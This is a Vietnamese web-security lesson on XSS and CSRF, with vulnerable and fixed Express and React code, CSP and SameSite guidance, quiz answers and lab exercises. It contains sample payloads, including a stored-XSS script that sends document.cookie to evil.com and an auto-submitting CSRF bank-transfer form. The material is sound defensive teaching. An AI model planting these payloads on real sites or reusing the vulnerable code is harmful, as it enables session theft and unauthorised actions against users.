</>Học Dev
, CSP sẽ cho chạy → CSP gần như vô hiệu chống XSS. Fix: bỏ 'unsafe-inline', dùng nonce-based ('nonce-xxxx') hoặc hash-based ('sha256-xxxx'). Khi đó browser chỉ execute script có nonce/hash trùng policy — payload XSS không có nonce sẽ bị block. Đây là lỗi CSP phổ biến nhất khi triển khai vội — bật CSP nhưng giữ 'unsafe-inline' để không break legacy code, và policy không còn protection."}}]}]
Bài học

Tuần 1 - Ngày 3: XSS và CSRF

Tuần 1 – Ngày 3

Mục tiêu học tập

  • Hiểu 3 loại XSS: Stored, Reflected, DOM-based — kèm code ví dụ
  • Biết các kỹ thuật phòng chống XSS: output encoding, framework escape, CSP
  • Hiểu cơ chế CSRF và cách trình duyệt gửi cookie
  • Phòng CSRF bằng SameSite cookie, CSRF token, double-submit cookie
  • Phân biệt rõ XSS vs CSRF — hai loại tấn công thường bị nhầm lẫn

1. Cross-Site Scripting (XSS) — Khi browser chạy code của attacker

XSS xảy ra khi attacker chèn được JavaScript chạy trong trình duyệt của victim, dưới context (origin) của trang web mục tiêu.

Vì sao XSS nguy hiểm?

JavaScript chạy trong trang web có thể:

  • Đọc cookie (nếu không có HttpOnly) → đánh cắp session
  • Đọc DOM → đánh cắp form data (số thẻ, password đang nhập)
  • Gửi request thay user (fetch('/api/transfer', {...}) với credential của user)
  • Keylog mọi phím user gõ
  • Redirect đến phishing page giống y hệt

XSS = code execution trong session của user. Đối với attacker, đây là quyền lớn ngang quyền của user thật.


2. Stored XSS — Lưu trong DB, mỗi user load đều bị

Cách hoạt động

AttackerServer/DBVictim1.POST/commentsSaveraw<script>payloadtoDB2.GET/post/123ReturnHTMLwithembedded<script>BrowserrunsscriptCookieleakedtoattacker

Code vulnerable (Node + Express + Pug)

// VULNERABLE — server side
app.post('/comments', (req, res) => {
  db.insert('comments', { body: req.body.text });  // lưu raw
  res.redirect('/comments');
});

app.get('/comments', async (req, res) => {
  const comments = await db.all('comments');
  // Template render với HTML không escape:
  let html = comments.map(c => `<div>${c.body}</div>`).join('');
  res.send(`<html><body>${html}</body></html>`);
});

Attacker post comment với body:

<script>fetch('https://evil.com/?c='+document.cookie)</script>

Mỗi user xem trang /comments → cookie bị gửi tới evil.com.

Code secure

const escapeHtml = (str) => str
  .replace(/&/g, '&amp;')
  .replace(/</g, '&lt;')
  .replace(/>/g, '&gt;')
  .replace(/"/g, '&quot;')
  .replace(/'/g, '&#39;');

app.get('/comments', async (req, res) => {
  const comments = await db.all('comments');
  let html = comments.map(c => `<div>${escapeHtml(c.body)}</div>`).join('');
  res.send(`<html><body>${html}</body></html>`);
});

Hoặc tốt hơn: dùng template engine mặc định escape (Pug, Handlebars {{ }}, EJS <%= %>, Jinja {{ }}).


3. Reflected XSS — Payload trong URL, server "reflect" lại

Cách hoạt động

URL:https://shop.com/search?q=<script>alert(1)</script>ServerincludenguyêntrongresponseServerresponse:<h1>Kếtqucho:<script>alert(1)</script></h1>Browserexecute,khôngphihinthtext

Attacker dụ victim click link (qua email, chat, ad) → server reflect payload → JS chạy trong browser victim.

Code vulnerable (Express)

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Kết quả cho: ${q}</h1>`);  // không escape!
});

Code secure

app.get('/search', (req, res) => {
  const q = req.query.q;
  res.send(`<h1>Kết quả cho: ${escapeHtml(q)}</h1>`);
});

Hoặc dùng framework: React, Vue, Svelte mặc định escape mọi text content.


4. DOM-based XSS — Lỗ hổng ở client-side JS

Cách hoạt động

Lỗ hổng không ở server — server trả response sạch, nhưng client-side JS đọc URL/hash/postMessage rồi nhúng vào DOM unsafe.

Code vulnerable

<!-- Trang welcome.html -->
<script>
  const name = new URL(location.href).searchParams.get('name');
  document.getElementById('greeting').innerHTML = 'Hello, ' + name;
</script>

Attacker gửi link:

https://example.com/welcome.html?name=<img src=x onerror=alert(1)>

Server không thấy payload (browser không gửi query string khi xử lý hash; tham số xử lý hoàn toàn ở client). Browser victim execute onerror.

Code secure

<script>
  const name = new URL(location.href).searchParams.get('name');
  // textContent KHÔNG parse HTML
  document.getElementById('greeting').textContent = 'Hello, ' + name;
</script>

Quy tắc: dùng textContent / innerText thay vì innerHTML. Trong React, dùng {value} thay vì dangerouslySetInnerHTML.

React example — DOM-based XSS

// VULNERABLE
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

// SECURE — React auto escape
function Comment({ text }) {
  return <div>{text}</div>;
}

// Nếu phải render HTML từ user (markdown, rich text):
// Bắt buộc sanitize trước
import DOMPurify from 'dompurify';
function MarkdownView({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

5. Output Encoding — Đúng context, đúng cách

Encoding phụ thuộc vào vị trí data được đặt trong HTML.

ContextEncodingVí dụ
HTML bodyHTML entity encode<div>{{ user.name }}</div>
HTML attributeHTML entity encode + quote<input value="{{ user.name }}">
JavaScript stringJS string escapevar name = "{{ user.name |escapejs }}"
URL parameterURL encode<a href="/u?n={{ user.name |urlencode }}">
CSS valueCSS escapestyle="color: {{ ... }}"avoid

Quy tắc vàng: không bao giờ đặt untrusted data vào <script>, <style>, on* attributes, hoặc href="javascript:...". Đây là sinks không có cách escape an toàn.


6. Content Security Policy (CSP) — Lớp phòng thủ thứ hai

CSP là HTTP header chỉ định nguồn nào browser được phép load resource (script, style, image, font...) và execute. Nếu attacker chèn được <script> nhưng CSP không cho execute → XSS bị chặn.

Ví dụ basic policy

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data:;

Phân tích:

  • default-src 'self' — mặc định chỉ cho phép load từ cùng origin
  • script-src 'self' https://cdn.example.com — script chỉ từ origin chính + CDN whitelist
  • style-src 'self' 'unsafe-inline' — CSS từ origin + cho phép inline <style> (compromise vì legacy)
  • img-src 'self' data: — image từ origin + data URI

Inline script — vấn đề và solution

CSP nghiêm khắc không cho phép <script>...</script> inline mặc định. Solution:

<!-- 1. Nonce-based -->
<!-- Header: Content-Security-Policy: script-src 'nonce-r4nd0m123' -->
<script nonce="r4nd0m123">
  console.log('chạy được vì nonce match');
</script>

<!-- 2. Hash-based -->
<!-- Header: script-src 'sha256-abc123...' (hash của nội dung script) -->
<script>console.log('hello');</script>
<!-- Browser tự tính hash, so với policy -->

<!-- 3. 'unsafe-inline' — KHÔNG NÊN, tắt phần lớn lợi ích của CSP -->

Nonce phải khác nhau mỗi request và cryptographically random. Server tạo nonce, gắn vào header + vào tag <script nonce="...">.

Report-Only mode

Khi mới triển khai, dùng report-only để monitor mà không break trang:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violation

Browser sẽ gửi POST đến /csp-violation mỗi khi policy bị vi phạm, nhưng vẫn cho load — bạn có data để tune policy trước khi enforce.

CSP không phải silver bullet

CSP không thay thế output encoding — nó là defense in depth:

  • Output encoding chặn XSS ngay từ đầu (chống chèn payload)
  • CSP chặn execution kể cả khi payload chèn được (giảm impact)

Cả hai phải có cùng nhau.


Cách hoạt động

1. User login vào bank.com, browser lưu session cookie

2. User (chưa logout) truy cập evil.com
   evil.com chứa:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="attacker_account">
     <input name="amount" value="1000000">
   </form>
   <script>document.forms[0].submit()</script>

3. Browser SUBMIT form tới bank.com
   Browser TỰ ĐỘNG gửi kèm cookie của bank.com
                       ↓
   bank.com nhìn cookie hợp lệ → thực hiện transfer

Điểm cốt lõi

  • CSRF dựa vào browser tự động gửi cookie với mọi request đến origin tương ứng
  • Attacker không cần đọc cookie — chỉ cần buộc browser gửi nó
  • Victim đang login, attacker không cần biết password

XSS vs CSRF — đừng nhầm lẫn

XSSCSRF
Attacker chạy code ở đâuBrowser victim, origin của site nạn nhânKhông chạy code; chỉ buộc browser gửi request
Cần victim login?Không bắt buộc (nhưng nguy hơn nếu login)Bắt buộc — dùng session của victim
Đánh cắp được data?Có (cookie, form, DOM)Không, chỉ "thực hiện hành động"
Mitigation chínhOutput encoding, CSPSameSite cookie, CSRF token
SeverityCao hơn (full account takeover)Trung bình-cao (action thay user)

SameSite là attribute của cookie, kiểm soát browser có gửi cookie cross-site hay không.

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

Ba giá trị SameSite

ValueHành viBrowser gửi cookie khi?
StrictChỉ gửi nếu request từ cùng siteUser trong tab của site, click link nội bộ, submit form nội bộ
Lax (default mới)Gửi cho top-level navigation GET an toànUser gõ URL, click link từ site khác → GET có cookie. POST cross-site → KHÔNG cookie
NoneGửi cross-site như bình thườngMọi request (BẮT BUỘC kèm Secure)

Khi nào dùng cái nào

  • Strict: tốt nhất cho cookie session bank, admin panel. Nhưng UX kém — user click từ Google search vào site sẽ bị logout
  • Lax: balance tốt — chặn CSRF qua POST/PUT/DELETE, vẫn cho user navigation. Default hiện nay của Chrome/Firefox cho cookie không khai báo SameSite
  • None: chỉ dùng nếu thực sự cần cross-site (third-party widget, embed). Bắt buộc Secure

Vấn đề: GET có side effect

SameSite=Lax vẫn cho GET cross-site đi kèm cookie. Nếu app có:

GET /transfer?to=X&amount=100

→ vẫn bị CSRF. Phải:

  1. Không bao giờ dùng GET cho action thay đổi state (REST best practice)
  2. Hoặc dùng SameSite=Strict
  3. Hoặc dùng CSRF token bổ sung

9. Phòng CSRF — Phương pháp 2: CSRF Token

Server tạo token random ngẫu nhiên, embed vào form HTML. Khi user submit, token phải match — attacker không thể đoán/đọc token (origin policy không cho đọc HTML cross-site).

Synchronizer Token Pattern

1. User GET /transfer-page
   Server tạo csrf_token = "x7K9..." (random per session)
   Server lưu csrf_token vào server-side session
   Server render:
     <form>
       <input type="hidden" name="csrf_token" value="x7K9...">
       <input name="amount">
     </form>

2. User submit form
   Server compare req.body.csrf_token === session.csrf_token
   Match → proceed; Mismatch → 403

Code Node + Express

const csurf = require('csurf');
app.use(csurf());                         // middleware

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

// form.ejs:
// <form method="POST" action="/transfer">
//   <input type="hidden" name="_csrf" value="<%= csrfToken %>">
//   ...
// </form>

app.post('/transfer', (req, res) => {
  // csurf tự verify req.body._csrf
  doTransfer(req.body);
  res.redirect('/done');
});

Code Python + Django

Django tự động bật CSRF protection:

<form method="POST">
  {% csrf_token %}
  <input name="amount">
</form>

Dùng cho stateless API (không có server session). Token được gửi qua cả cookie lẫn header/body — attacker không đặt được header cross-origin.

Flow

1. Server set cookie: csrf=randomToken
2. JS đọc cookie csrf, gửi vào header X-CSRF-Token cho mọi request mutating
3. Server verify: req.cookies.csrf === req.headers['x-csrf-token']

Tại sao an toàn:

  • Attacker không đọc được cookie cross-origin (browser cấm)
  • Attacker đặt được cookie value (nếu có XSS) nhưng không đặt được header cross-origin trong simple form submission
  • CORS preflight với header tuỳ chỉnh bị browser chặn cross-origin

Code

// Server (Express)
app.use((req, res, next) => {
  if (!req.cookies.csrf) {
    const token = crypto.randomBytes(32).toString('hex');
    res.cookie('csrf', token, { sameSite: 'lax', secure: true });
  }
  next();
});

app.post('/api/transfer', (req, res) => {
  const cookieToken = req.cookies.csrf;
  const headerToken = req.headers['x-csrf-token'];
  if (!cookieToken || cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF' });
  }
  // proceed
});
// Client
function getCookie(name) {
  return document.cookie.split('; ').find(c => c.startsWith(name+'='))?.split('=')[1];
}

await fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCookie('csrf'),
  },
  body: JSON.stringify({ amount: 100 }),
});

Cookie chứa CSRF token KHÔNG được dùng HttpOnly — JS cần đọc được. Nhưng cookie session vẫn phải HttpOnly.


11. So sánh XSS vs CSRF

Tiêu chíXSSCSRF
Attack vectorChèn JS chạy trong browser victimBuộc browser victim gửi request kèm cookie
Cần victim làm gìVisit trang chứa payloadVisit trang attacker khi đang login site target
Code chạy ở đâuTrong browser victim, origin của site targetKhông có code thực thi của attacker
Đọc được response?Có (same-origin)Không (browser block cross-origin read)
Đánh cắp data?Không trực tiếp
OWASP categoryA03 InjectionA01 Broken Access Control (hoặc A05)
Mitigation chínhOutput encoding, CSP, framework auto-escapeSameSite cookie, CSRF token, CORS
HttpOnly cookie giúp?Có — JS không đọc được session cookieKhông — browser vẫn gửi cookie tự động
SameSite cookie giúp?Không
CSP giúp?Có (chặn execute)Không

Tương quan

XSS có thể bypass mọi CSRF protection:

  • JS từ XSS chạy trong origin → đọc được CSRF token → tự đính kèm
  • → Fix XSS quan trọng hơn fix CSRF. Một XSS = mất hết.

12. Câu hỏi ôn tập

  1. Phân biệt Stored XSS và Reflected XSS qua một câu duy nhất.

    Xem đáp án

    Stored XSS: payload được lưu trong DB/storage của server và serve cho mọi user vào trang (mỗi user load đều bị). Reflected XSS: payload nằm trong URL/request một lần, server reflect trở lại trong response — chỉ user click link độc mới bị (cần social engineering).

    Stored thường nghiêm trọng hơn (impact rộng), Reflected dễ tìm hơn (test request là biết).

  2. Tại sao DOM-based XSS không thể chặn bằng WAF/server-side validation?

    Xem đáp án

    DOM-based XSS xảy ra hoàn toàn ở client-side — payload có thể nằm trong URL fragment (#...) mà browser không gửi lên server, hoặc trong postMessage, localStorage. Server không thấy được payload nên WAF/validation cũng không thể chặn. Mitigation phải làm ở client: dùng textContent thay innerHTML, không trust location.hash, dùng framework reactive (React, Vue) escape tự động, audit JS sinks với tool như DOMPurify.

  3. Một dev nói "Tôi đã bật HttpOnly cho session cookie, vậy XSS không nguy hiểm nữa." Đúng hay sai?

    Xem đáp án

    Sai. HttpOnly chỉ ngăn JS đọc session cookie qua document.cookie — nhưng JS từ XSS vẫn có thể:

    • Gọi fetch('/api/transfer', {...}) với credential của user (browser tự gửi cookie)
    • Đọc DOM, đánh cắp form data đang nhập (password, credit card)
    • Keylog, screenshot DOM
    • Phishing UI overlay
    • Lấy CSRF token và bypass CSRF protection

    HttpOnly là defense in depth — bắt buộc nhưng không đủ. Phải fix gốc XSS.

  4. SameSite=Lax có chặn được CSRF tấn công vào endpoint GET /api/delete?id=5 không? Vì sao?

    Xem đáp án

    Không. SameSite=Lax cho phép cookie đi kèm top-level GET navigation cross-site. Nếu attacker dụ user click link <a href="https://target.com/api/delete?id=5">click</a>, browser sẽ navigate GET với cookie → endpoint thực hiện delete.

    Hai cách fix: (1) Không bao giờ dùng GET cho mutating action — REST best practice, dùng POST/DELETE; (2) Dùng SameSite=Strict (nhưng UX xấu); (3) Cộng thêm CSRF token verify.

    Bài học: REST verb đúng là một biện pháp bảo mật, không chỉ convention.

  5. CSP có header script-src 'self' 'unsafe-inline' — vấn đề gì?

    Xem đáp án

    'unsafe-inline' cho phép bất kỳ inline <script> nào execute. Nếu attacker chèn được Stored XSS với <script>alert(1)</script>, CSP sẽ cho chạy → CSP gần như vô hiệu chống XSS.

    Fix: bỏ 'unsafe-inline', dùng nonce-based ('nonce-xxxx') hoặc hash-based ('sha256-xxxx'). Khi đó browser chỉ execute script có nonce/hash trùng policy — payload XSS không có nonce sẽ bị block.

    Đây là lỗi CSP phổ biến nhất khi triển khai vội — bật CSP nhưng giữ 'unsafe-inline' để không break legacy code, và policy không còn protection.

Bài tập thực hành

# 1. Tự exploit XSS trong OWASP Juice Shop
docker run --rm -p 3000:3000 bkimminich/juice-shop
# Tìm challenge "DOM XSS" và "Reflected XSS"

# 2. Test CSP của site bạn quản lý
curl -I https://yoursite.com | grep -i content-security
# Hoặc dùng tool:
# https://csp-evaluator.withgoogle.com/

# 3. Test SameSite cookie
# Set cookie với SameSite=Lax trên site A
# Tạo trang trên site B (localhost khác port = "cross-site")
# Submit form POST tới site A, dùng DevTools Network kiểm tra
# request có gửi cookie không

# 4. Code lab: viết Express app với hai endpoint
#    /vulnerable — không escape, /safe — có escape
#    Thử payload: <img src=x onerror=alert(1)>
#    So sánh response

# 5. Sanitize HTML do user nhập (rich text editor)
npm install dompurify jsdom
node -e "
const {JSDOM} = require('jsdom');
const createDOMPurify = require('dompurify');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
console.log(DOMPurify.sanitize('<p>ok</p><script>bad()</script>'));
// Output: <p>ok</p>
"

Tài liệu tham khảo chính thức


Tiếp theo: Ngày 4 — SQL Injection, SSRF, IDOR